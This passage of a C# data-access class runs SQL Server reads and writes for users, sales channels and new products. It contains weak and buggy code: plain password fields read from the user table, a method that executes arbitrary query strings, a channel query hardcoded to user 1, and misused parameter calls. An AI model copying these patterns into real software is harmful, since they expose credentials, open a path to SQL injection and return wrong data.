WHERE id = @branchId"; // myCommand.Parameters.Add("@branchId", System.Data.SqlDbType.NVarChar); // myCommand.Parameters["@branchId"].Value = branchId; // try // { // myConnection.Open(); // SqlDataReader myReader = myCommand.ExecuteReader(); // while (myReader.Read()) // { // branch.BranchId = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); // branch.BranchName = (myReader["branch_name"] == null) ? string.Empty : myReader["branch_name"].ToString(); // branch.BranchCode = (myReader["branch_code"] == null) ? string.Empty : myReader["branch_code"].ToString(); // branch.BranchAddress = (myReader["branch_address"] == null) ? string.Empty : myReader["branch_address"].ToString(); // branch.Account_group_1 = (myReader["account_group_1"] == null) ? string.Empty : myReader["account_group_1"].ToString(); // } // myReader.Close(); // } // catch (Exception objExp) // { // throw objExp; // } // finally // { // if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) // { // myConnection.Close(); // } // } // return branch; // } public clsUser getUserById(string userId) { clsUser user = new clsUser(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = ("SELECT TOP 1000 [id] " + ",[username] " + ",[password] " + ",[fullname] " + ",[firstname] " + ",[middle] " + ",[lastname] " + ",[type] " + ",[area] " + ",[is_active] " + ",[email] " + "FROM [visibility_system_database].[dbo].[Ref_User] " + "WHERE id = @userId"); myCommand.Parameters.Add("@userId", System.Data.SqlDbType.VarChar); myCommand.Parameters["@userId"].Value = userId; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { user.Id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); user.Username = (myReader["username"] == null) ? string.Empty : myReader["username"].ToString(); user.Password = (myReader["password"] == null) ? string.Empty : myReader["password"].ToString(); user.Fullname = (myReader["fullname"] == null) ? string.Empty : myReader["fullname"].ToString(); user.Firstname = (myReader["firstname"] == null) ? string.Empty : myReader["firstname"].ToString(); user.MiddleName = (myReader["middle"] == null) ? string.Empty : myReader["middle"].ToString(); user.Lastname = (myReader["lastname"] == null) ? string.Empty : myReader["lastname"].ToString(); user.Type = (myReader["type"] == null) ? string.Empty : myReader["type"].ToString(); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return user; } public List<clsNewProduct> getAssignedNewProductsByUserId(string userId) { List<clsNewProduct> newProductList = new List<clsNewProduct>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT C.[id] ,[glu] ,[item_id] ,[item_code] ,[item_name] ,[remarks] ,[uom] ,[price_net] ,[product_division] ,C.[channel] ,[pipeline_period] ,[saturation_period] ,C.[created_at] ,C.[created_by] ,C.[modified_at] ,C.[modified_by] ,[status] ,[plan] ,[confirmed] FROM [dbo].Ref_User A INNER JOIN [dbo].Ref_User_Channel B ON A.id = B.user_id INNER JOIN [dbo].Ref_NewProduct C ON B.channel = C.channel WHERE A.id = @userId ORDER BY C.id desc"; myCommand.Parameters.AddWithValue("@userId", System.Data.SqlDbType.VarChar); myCommand.Parameters["@userId"].Value = userId; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsNewProduct newProd = new clsNewProduct(); newProd.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); newProd.glu = (myReader["glu"] == null) ? string.Empty : myReader["glu"].ToString(); newProd.itemId = (myReader["item_id"] == null) ? string.Empty : myReader["item_id"].ToString(); newProd.itemCode = (myReader["item_code"] == null) ? string.Empty : myReader["item_code"].ToString(); newProd.itemName = (myReader["item_name"] == null) ? string.Empty : myReader["item_name"].ToString(); newProd.remarks = (myReader["remarks"] == null) ? string.Empty : myReader["remarks"].ToString(); newProd.uom = (myReader["uom"] == null) ? string.Empty : myReader["uom"].ToString(); newProd.priceNet = (myReader["price_net"] == null) ? string.Empty : myReader["price_net"].ToString(); newProd.productDivision = (myReader["product_division"] == null) ? string.Empty : myReader["product_division"].ToString(); newProd.channel = (myReader["channel"] == null) ? string.Empty : myReader["channel"].ToString(); newProd.pipeline = (myReader["pipeline_period"] == null) ? string.Empty : myReader["pipeline_period"].ToString(); newProd.saturation = (myReader["saturation_period"] == null) ? string.Empty : myReader["saturation_period"].ToString(); newProd.createdAt = (myReader["created_at"] == null) ? string.Empty : myReader["created_at"].ToString(); newProd.createdBy = (myReader["created_by"] == null) ? string.Empty : myReader["created_by"].ToString(); newProd.modifiedAt = (myReader["modified_at"] == null) ? string.Empty : myReader["modified_at"].ToString(); newProd.modifiedBy = (myReader["modified_by"] == null) ? string.Empty : myReader["modified_by"].ToString(); newProd.status = (myReader["status"] == null) ? string.Empty : myReader["status"].ToString(); newProd.plan = (myReader["plan"] == null) ? string.Empty : myReader["plan"].ToString(); newProd.confirmed = (myReader["confirmed"] == null) ? string.Empty : myReader["confirmed"].ToString(); newProductList.Add(newProd); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProductList; } public List<clsUser_Channel> getUserAssignedChannelsByUserId(string userId) { List<clsUser_Channel> assignedChannels = new List<clsUser_Channel>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT [id] ,[user_id] ,[channel] FROM [Saturation_Database].[dbo].[Ref_User_Channel] WHERE user_id = 1"; myCommand.Parameters.AddWithValue("@userId", System.Data.SqlDbType.VarChar); myCommand.Parameters["@userId"].Value = userId; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsUser_Channel assignedChannel = new clsUser_Channel(); assignedChannel.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); assignedChannel.channel = (myReader["channel"] == null) ? string.Empty : myReader["channel"].ToString(); assignedChannel.user_id = (myReader["user_id"] == null) ? string.Empty : myReader["user_id"].ToString(); assignedChannels.Add(assignedChannel); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return assignedChannels; } public clsNewProduct getNewProductById(string id) { clsNewProduct newProd = new clsNewProduct(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT [id] ,[glu] ,[item_code] ,[item_name] ,[remarks] ,[uom] ,[price_net] ,[product_division] ,[created_at] ,[created_by] ,[modified_at] ,[modified_by] ,[status] ,[plan] ,[confirmed] ,[deleted_at] ,[deleted_by] FROM [Saturation_Database].[dbo].[Ref_NewProduct] WHERE [id] = @id"; myCommand.Parameters.AddWithValue("@id", System.Data.SqlDbType.VarChar); myCommand.Parameters["@id"].Value = id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { newProd.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); newProd.glu = (myReader["glu"] == null) ? string.Empty : myReader["glu"].ToString(); newProd.itemCode = (myReader["item_code"] == null) ? string.Empty : myReader["item_code"].ToString(); newProd.itemName = (myReader["item_name"] == null) ? string.Empty : myReader["item_name"].ToString(); newProd.remarks = (myReader["remarks"] == null) ? string.Empty : myReader["remarks"].ToString(); newProd.uom = (myReader["uom"] == null) ? string.Empty : myReader["uom"].ToString(); newProd.priceNet = (myReader["price_net"] == null) ? string.Empty : myReader["price_net"].ToString(); newProd.productDivision = (myReader["product_division"] == null) ? string.Empty : myReader["product_division"].ToString(); newProd.createdAt = (myReader["created_at"] == null) ? string.Empty : myReader["created_at"].ToString(); newProd.createdBy = (myReader["created_by"] == null) ? string.Empty : myReader["created_by"].ToString(); newProd.modifiedAt = (myReader["modified_at"] == null) ? string.Empty : myReader["modified_at"].ToString(); newProd.modifiedBy = (myReader["modified_by"] == null) ? string.Empty : myReader["modified_by"].ToString(); newProd.status = (myReader["status"] == null) ? string.Empty : myReader["status"].ToString(); newProd.plan = (myReader["plan"] == null) ? string.Empty : myReader["plan"].ToString(); newProd.confirmed = (myReader["confirmed"] == null) ? string.Empty : myReader["confirmed"].ToString(); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProd; } public string addNewProduct(clsNewProduct newProd) { SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"INSERT INTO [dbo].[Ref_NewProduct] ([glu] ,[item_code] ,[item_name] ,[remarks] ,[uom] ,[price_net] ,[product_division] ,[created_at] ,[created_by] ,[modified_at] ,[modified_by] ,[status] ,[plan] ,[confirmed] ,[deleted_at] ,[deleted_by] ,[ul_item_id]) VALUES ((select [glu_name] from [Ref_UL_Item] where [id] = @ul_item_id) ,(select [item_code] from [Ref_UL_Item] where [id] = @ul_item_id) ,(select [item_name] from [Ref_UL_Item] where [id] = @ul_item_id) ,@remarks ,@uom ,@price ,(select [division_name] from [Ref_UL_Item] where [id] = @ul_item_id) ,@created_at ,@created_by ,@modified_at ,@modified_by ,@status ,@plan ,@confirmed ,@deleted_at ,@deleted_by ,@ul_item_id) select MAX([id]) AS [id] from [Ref_NewProduct]"; myCommand.Parameters.AddWithValue("@remarks", (Object)newProd.remarks ?? DBNull.Value); myCommand.Parameters.AddWithValue("@uom", (Object)newProd.uom ?? DBNull.Value); myCommand.Parameters.AddWithValue("@price", (Object)newProd.priceNet ?? DBNull.Value); myCommand.Parameters.AddWithValue("@created_at", (Object)newProd.createdAt ?? DBNull.Value); myCommand.Parameters.AddWithValue("@created_by", (Object)newProd.createdBy ?? DBNull.Value); myCommand.Parameters.AddWithValue("@modified_at", (Object)newProd.modifiedAt ?? DBNull.Value); myCommand.Parameters.AddWithValue("@modified_by", (Object)newProd.modifiedBy ?? DBNull.Value); myCommand.Parameters.AddWithValue("@status", (Object)newProd.status ?? DBNull.Value); myCommand.Parameters.AddWithValue("@plan", (Object)newProd.plan ?? DBNull.Value); myCommand.Parameters.AddWithValue("@confirmed", (Object)newProd.confirmed ?? DBNull.Value); myCommand.Parameters.AddWithValue("@deleted_at", (Object)newProd.deleted_at ?? DBNull.Value); myCommand.Parameters.AddWithValue("@deleted_by", (Object)newProd.deleted_by ?? DBNull.Value); myCommand.Parameters.AddWithValue("@ul_item_id", (Object)newProd.ul_item_id ?? DBNull.Value); string newProd_Id = ""; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { newProd_Id = myReader["id"].ToString(); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProd_Id; } public string addNewProductChannel(string newProd_Id) { SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"INSERT INTO [dbo].[Ref_NewProduct_Channel] ([channel], [newproduct_id],[status]) VALUES ('General Trade',@newprodid,'Disable'), ('Key Accounts',@newprodid,'Disable'), ('Mercury',@newprodid,'Disable'), ('Modern Trade',@newprodid,'Disable')"; myCommand.Parameters.AddWithValue("@newprodid", newProd_Id); //string newProd_Id = ""; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); //while (myReader.Read()) //{ // newProd_Id = myReader["id"].ToString(); //} myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProd_Id; } public clsUL_Item getUL_ItemById(string id) { clsUL_Item ul_item = new clsUL_Item(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT * FROM [dbo].[Ref_UL_Item] where id = @id"; myCommand.Parameters.Add("@id", System.Data.SqlDbType.VarChar); myCommand.Parameters["@id"].Value = id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { ul_item.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); ul_item.itemCode = (myReader["item_code"] == null) ? string.Empty : myReader["item_code"].ToString(); ul_item.itemName = (myReader["item_name"] == null) ? string.Empty : myReader["item_name"].ToString(); ul_item.baseTag = (myReader["base_tag"] == null) ? string.Empty : myReader["base_tag"].ToString(); ul_item.classification = (myReader["classification"] == null) ? string.Empty : myReader["classification"].ToString(); ul_item.class1 = (myReader["class"] == null) ? string.Empty : myReader["class"].ToString(); ul_item.divisionCode = (myReader["division_code"] == null) ? string.Empty : myReader["division_code"].ToString(); ul_item.divisionName = (myReader["division_name"] == null) ? string.Empty : myReader["division_name"].ToString(); ul_item.gluClusterCode = (myReader["glu_cluster_code"] == null) ? string.Empty : myReader["glu_cluster_code"].ToString(); ul_item.gluClusterName = (myReader["glu_cluster_name"] == null) ? string.Empty : myReader["glu_cluster_name"].ToString(); ul_item.gluSubGroup = (myReader["glu_sub_group"] == null) ? string.Empty : myReader["glu_sub_group"].ToString(); ul_item.gluCode = (myReader["glu_code"] == null) ? string.Empty : myReader["glu_code"].ToString(); ul_item.gluName = (myReader["glu_name"] == null) ? string.Empty : myReader["glu_name"].ToString(); ul_item.categoryCode = (myReader["category_code"] == null) ? string.Empty : myReader["category_code"].ToString(); ul_item.categoryName = (myReader["category_name"] == null) ? string.Empty : myReader["category_name"].ToString(); ul_item.subBrandCode = (myReader["sub_brand_code"] == null) ? string.Empty : myReader["sub_brand_code"].ToString(); ul_item.subBrandName = (myReader["sub_brand_name"] == null) ? string.Empty : myReader["sub_brand_name"].ToString(); ul_item.brandCode = (myReader["brand_code"] == null) ? string.Empty : myReader["brand_code"].ToString(); ul_item.franchiseCode = (myReader["franchise_code"] == null) ? string.Empty : myReader["franchise_code"].ToString(); ul_item.franchiseName = (myReader["franchise_name"] == null) ? string.Empty : myReader["franchise_name"].ToString(); ul_item.segmentCode = (myReader["segment_code"] == null) ? string.Empty : myReader["segment_code"].ToString(); ul_item.segmentName = (myReader["segment_name"] == null) ? string.Empty : myReader["segment_name"].ToString(); ul_item.moleculeCode = (myReader["molecule_code"] == null) ? string.Empty : myReader["molecule_code"].ToString(); ul_item.moleculeName = (myReader["molecule_name"] == null) ? string.Empty : myReader["molecule_name"].ToString(); ul_item.clusterCode = (myReader["cluster_code"] == null) ? string.Empty : myReader["cluster_code"].ToString(); ul_item.clusterName = (myReader["cluster_name"] == null) ? string.Empty : myReader["cluster_name"].ToString(); ul_item.itemStatus = (myReader["item_status"] == null) ? string.Empty : myReader["item_status"].ToString(); ul_item.itemStatusName = (myReader["item_status_name"] == null) ? string.Empty : myReader["item_status_name"].ToString(); ul_item.className = (myReader["class_name"] == null) ? string.Empty : myReader["class_name"].ToString(); ul_item.lineName = (myReader["line_name"] == null) ? string.Empty : myReader["line_name"].ToString(); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return ul_item; } public DataTable ExecSQLQuery(string query) { DataTable dt = null; SqlConnection sqlCon = new SqlConnection(gConnString); SqlCommand sqlCmd = new SqlCommand(query, sqlCon); sqlCmd.CommandTimeout = 0; SqlDataAdapter sqlAdap = new SqlDataAdapter(sqlCmd); try { sqlCon.Open(); dt = new DataTable(); sqlAdap.Fill(dt); sqlCon.Close(); } catch (Exception) { //error sqlCon.Close(); dt = null; } return dt; } //newproduct_setup public List<clsUL_Item> getUL_Items() { List<clsUL_Item> UL_items = new List<clsUL_Item>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT [id] ,[item_code] ,[item_name] ,[division_name] ,[glu_name] ,[category_name] ,[item_status] FROM [dbo].[Ref_UL_Item] where [item_code] ++ [item_name] not in (select [item_code] ++ [item_name] from [Ref_NewProduct])"; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsUL_Item ul_item = new clsUL_Item(); ul_item.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); ul_item.itemCode = (myReader["item_code"] == null) ? string.Empty : myReader["item_code"].ToString(); ul_item.itemName = (myReader["item_name"] == null) ? string.Empty : myReader["item_name"].ToString(); //ul_item.baseTag = (myReader["base_tag"] == null) ? string.Empty : myReader["base_tag"].ToString(); //ul_item.classification = (myReader["classification"] == null) ? string.Empty : myReader["classification"].ToString(); //ul_item.class1 = (myReader["class"] == null) ? string.Empty : myReader["class"].ToString(); //ul_item.divisionCode = (myReader["division_code"] == null) ? string.Empty : myReader["division_code"].ToString(); ul_item.divisionName = (myReader["division_name"] == null) ? string.Empty : myReader["division_name"].ToString(); //ul_item.gluClusterCode = (myReader["glu_cluster_code"] == null) ? string.Empty : myReader["glu_cluster_code"].ToString(); //ul_item.gluClusterName = (myReader["glu_cluster_name"] == null) ? string.Empty : myReader["glu_cluster_name"].ToString(); //ul_item.gluSubGroup = (myReader["glu_sub_group"] == null) ? string.Empty : myReader["glu_sub_group"].ToString(); //ul_item.gluCode = (myReader["glu_code"] == null) ? string.Empty : myReader["glu_code"].ToString(); ul_item.gluName = (myReader["glu_name"] == null) ? string.Empty : myReader["glu_name"].ToString(); ul_item.itemStatus = (myReader["item_status"] == null) ? string.Empty : myReader["item_status"].ToString(); //ul_item.categoryCode = (myReader["category_code"] == null) ? string.Empty : myReader["category_code"].ToString(); ul_item.categoryName = (myReader["category_name"] == null) ? string.Empty : myReader["category_name"].ToString(); //ul_item.subBrandCode = (myReader["sub_brand_code"] == null) ? string.Empty : myReader["sub_brand_code"].ToString(); //ul_item.subBrandName = (myReader["sub_brand_name"] == null) ? string.Empty : myReader["sub_brand_name"].ToString(); //ul_item.brandCode = (myReader["brand_code"] == null) ? string.Empty : myReader["brand_code"].ToString(); //ul_item.franchiseCode = (myReader["franchise_code"] == null) ? string.Empty : myReader["franchise_code"].ToString(); //ul_item.franchiseName = (myReader["franchise_name"] == null) ? string.Empty : myReader["franchise_name"].ToString(); //ul_item.segmentCode = (myReader["segment_code"] == null) ? string.Empty : myReader["segment_code"].ToString(); //ul_item.segmentName = (myReader["segment_name"] == null) ? string.Empty : myReader["segment_name"].ToString(); //ul_item.moleculeCode = (myReader["molecule_code"] == null) ? string.Empty : myReader["molecule_code"].ToString(); //ul_item.moleculeName = (myReader["molecule_name"] == null) ? string.Empty : myReader["molecule_name"].ToString(); //ul_item.clusterCode = (myReader["cluster_code"] == null) ? string.Empty : myReader["cluster_code"].ToString(); //ul_item.clusterName = (myReader["cluster_name"] == null) ? string.Empty : myReader["cluster_name"].ToString(); //ul_item.itemStatus = (myReader["item_status"] == null) ? string.Empty : myReader["item_status"].ToString(); //ul_item.itemStatusName = (myReader["item_status_name"] == null) ? string.Empty : myReader["item_status_name"].ToString(); //ul_item.className = (myReader["class_name"] == null) ? string.Empty : myReader["class_name"].ToString(); //ul_item.lineName = (myReader["line_name"] == null) ? string.Empty : myReader["line_name"].ToString(); UL_items.Add(ul_item); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return UL_items; } public List<clsNewProduct> getNewProduct() { List<clsNewProduct> newProductList = new List<clsNewProduct>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT [id] ,[glu] ,[item_code] ,[item_name] ,[remarks] ,[uom] ,[price_net] ,[product_division] FROM [Saturation_Database].[dbo].[Ref_NewProduct] ORDER BY [id] DESC "; //myCommand.Parameters.AddWithValue("@userId", System.Data.SqlDbType.VarChar); //myCommand.Parameters["@userId"].Value = userId; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsNewProduct newProd = new clsNewProduct(); newProd.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); newProd.glu = (myReader["glu"] == null) ? string.Empty : myReader["glu"].ToString(); newProd.itemCode = (myReader["item_code"] == null) ? string.Empty : myReader["item_code"].ToString(); newProd.itemName = (myReader["item_name"] == null) ? string.Empty : myReader["item_name"].ToString(); newProd.remarks = (myReader["remarks"] == null) ? string.Empty : myReader["remarks"].ToString(); newProd.uom = (myReader["uom"] == null) ? string.Empty : myReader["uom"].ToString(); newProd.priceNet = (myReader["price_net"] == null) ? string.Empty : myReader["price_net"].ToString(); newProd.productDivision = (myReader["product_division"] == null) ? string.Empty : myReader["product_division"].ToString(); newProductList.Add(newProd); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProductList; } public List<clsChannel> getNewProdChannelStatusByID(string newProduct_id) { List<clsChannel> ChannelStatus = new List<clsChannel>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"select [id],[channel],[status] from [Ref_NewProduct_Channel] where newproduct_id = @newProd_Id"; myCommand.Parameters.AddWithValue("@newProd_Id", System.Data.SqlDbType.Int); myCommand.Parameters["@newProd_Id"].Value = newProduct_id; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsChannel channelStatus = new clsChannel(); channelStatus.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); channelStatus.channel = (myReader["channel"] == null) ? string.Empty : myReader["channel"].ToString(); channelStatus.status = (myReader["status"] == null) ? string.Empty : myReader["status"].ToString(); ChannelStatus.Add(channelStatus); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return ChannelStatus; } public string UpdateChannelSatusById(string ChannelId, string Status) { SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"update [dbo].[Ref_NewProduct_Channel] set [status] = @status where [id] = @channelId"; myCommand.Parameters.AddWithValue("@channelId", ChannelId); myCommand.Parameters.AddWithValue("@status", Status); string newProd_Id = ""; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); //while (myReader.Read()) //{ // newProd_Id = myReader["id"].ToString(); //} myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProd_Id; } //newproduct public List<clsNewProduct> getCreatedNewProductsByUserId(string userId) { List<clsNewProduct> newProductList = new List<clsNewProduct>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"SELECT a.[id] ,b.[glu] ,b.[item_code] ,b.[item_name] ,a.[channel] ,a.[pipeline_period] ,a.[saturation_period] ,a.[newproduct_id] ,a.[created_at] ,a.[created_by] ,a.[modified_at] ,a.[modified_by] ,a.[status] ,b.[plan] ,a.[remarks] ,a.[active] FROM [dbo].[Ref_NewProduct_Channel] a left join [dbo].[Ref_NewProduct] b on a.newproduct_id = b.id where a.[status] = 'Active' and channel in (select channel from [Saturation_Database].[dbo].[Ref_User_Channel] where [user_id] = @userId) and a.[created_at] is not null order by a.[id] "; myCommand.Parameters.AddWithValue("@userId", System.Data.SqlDbType.Int); myCommand.Parameters["@userId"].Value = userId; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); while (myReader.Read()) { clsNewProduct newProd = new clsNewProduct(); newProd.id = (myReader["id"] == null) ? string.Empty : myReader["id"].ToString(); newProd.glu = (myReader["glu"] == null) ? string.Empty : myReader["glu"].ToString(); newProd.itemCode = (myReader["item_code"] == null) ? string.Empty : myReader["item_code"].ToString(); newProd.itemName = (myReader["item_name"] == null) ? string.Empty : myReader["item_name"].ToString(); //newProd.description = (myReader["description"] == null) ? string.Empty : myReader["description"].ToString(); //newProd.uom = (myReader["uom"] == null) ? string.Empty : myReader["uom"].ToString(); //newProd.priceNet = (myReader["price_net"] == null) ? string.Empty : myReader["price_net"].ToString(); //newProd.productDivision = (myReader["product_division"] == null) ? string.Empty : myReader["product_division"].ToString(); newProd.channel = (myReader["channel"] == null) ? string.Empty : myReader["channel"].ToString(); newProd.pipeline = (myReader["pipeline_period"] == null) ? string.Empty : myReader["pipeline_period"].ToString(); newProd.saturation = (myReader["saturation_period"] == null) ? string.Empty : myReader["saturation_period"].ToString(); newProd.createdAt = (myReader["created_at"] == null) ? string.Empty : myReader["created_at"].ToString(); newProd.createdBy = (myReader["created_by"] == null) ? string.Empty : myReader["created_by"].ToString(); newProd.modifiedAt = (myReader["modified_at"] == null) ? string.Empty : myReader["modified_at"].ToString(); newProd.modifiedBy = (myReader["modified_by"] == null) ? string.Empty : myReader["modified_by"].ToString(); newProd.status = (myReader["status"] == null) ? string.Empty : myReader["status"].ToString(); newProd.plan = (myReader["plan"] == null) ? string.Empty : myReader["plan"].ToString(); //newProd.confirmed = (myReader["confirmed"] == null) ? string.Empty : myReader["confirmed"].ToString(); newProductList.Add(newProd); } myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProductList; } public string UpdateSaturationBYChannelBrandId(clsChannel newSaturation) { SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = myConnection; myCommand.CommandType = System.Data.CommandType.Text; myCommand.CommandText = @"update [dbo].[Ref_NewProduct_Channel] set [pipeline_period] = @pipelinedate, [saturation_period] = @saturationdate, [remarks] = @remarks, [created_at] = @created_at, [created_by] = @created_by where [id] = @id"; myCommand.Parameters.Add("@id", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@pipelinedate", System.Data.SqlDbType.DateTime); myCommand.Parameters.Add("@saturationdate", System.Data.SqlDbType.DateTime); myCommand.Parameters.Add("@remarks", System.Data.SqlDbType.NVarChar); myCommand.Parameters.Add("@created_at", System.Data.SqlDbType.DateTime); myCommand.Parameters.Add("@created_by", System.Data.SqlDbType.NVarChar); myCommand.Parameters["@id"].Value = newSaturation.id; myCommand.Parameters["@pipelinedate"].Value = newSaturation.pipeline_period; myCommand.Parameters["@saturationdate"].Value = newSaturation.saturation_period; myCommand.Parameters["@remarks"].Value = newSaturation.remarks; myCommand.Parameters["@created_at"].Value = newSaturation.created_at; myCommand.Parameters["@created_by"].Value = newSaturation.created_by; //myCommand.Parameters.AddWithValue("@id", (Object)newSaturation.id ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@pipelinedate", (Object)newSaturation.pipeline_period ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@saturationdate", (Object)newSaturation.saturation_period ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@remarks", (Object)newSaturation.remarks ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@created_at", (Object)newSaturation.created_at?? DBNull.Value); //myCommand.Parameters.AddWithValue("@created_by", (Object)newSaturation.created_by ?? DBNull.Value); ////myCommand.Parameters.AddWithValue("@price", (Object)newProd.priceNet ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@product_division", (Object)newProd.productDivision ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@created_at", (Object)newProd.createdAt ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@created_by", (Object)newProd.createdBy ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@modified_at", (Object)newProd.modifiedAt ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@modified_by", (Object)newProd.modifiedBy ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@status", (Object)newProd.status ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@plan", (Object)newProd.plan ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@confirmed", (Object)newProd.confirmed ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@deleted_at", (Object)newProd.deleted_at ?? DBNull.Value); //myCommand.Parameters.AddWithValue("@deleted_by", (Object)newProd.deleted_by ?? DBNull.Value); string newProd_Id = ""; try { myConnection.Open(); SqlDataReader myReader = myCommand.ExecuteReader(); //while (myReader.Read()) //{ // newProd_Id = myReader["id"].ToString(); //} myReader.Close(); } catch (Exception objExp) { throw objExp; } finally { if (myConnection != null && myConnection.State != System.Data.ConnectionState.Closed) { myConnection.Close(); } } return newProd_Id; } public List<clsChannel> getChannelBrandById(string userid) { List<clsChannel> ChannelBranchList = new List<clsChannel>(); SqlConnection myConnection = new SqlConnection(); SqlCommand myCommand = new SqlCommand(); myConnection.ConnectionString = gConnString; myCommand.Connection = 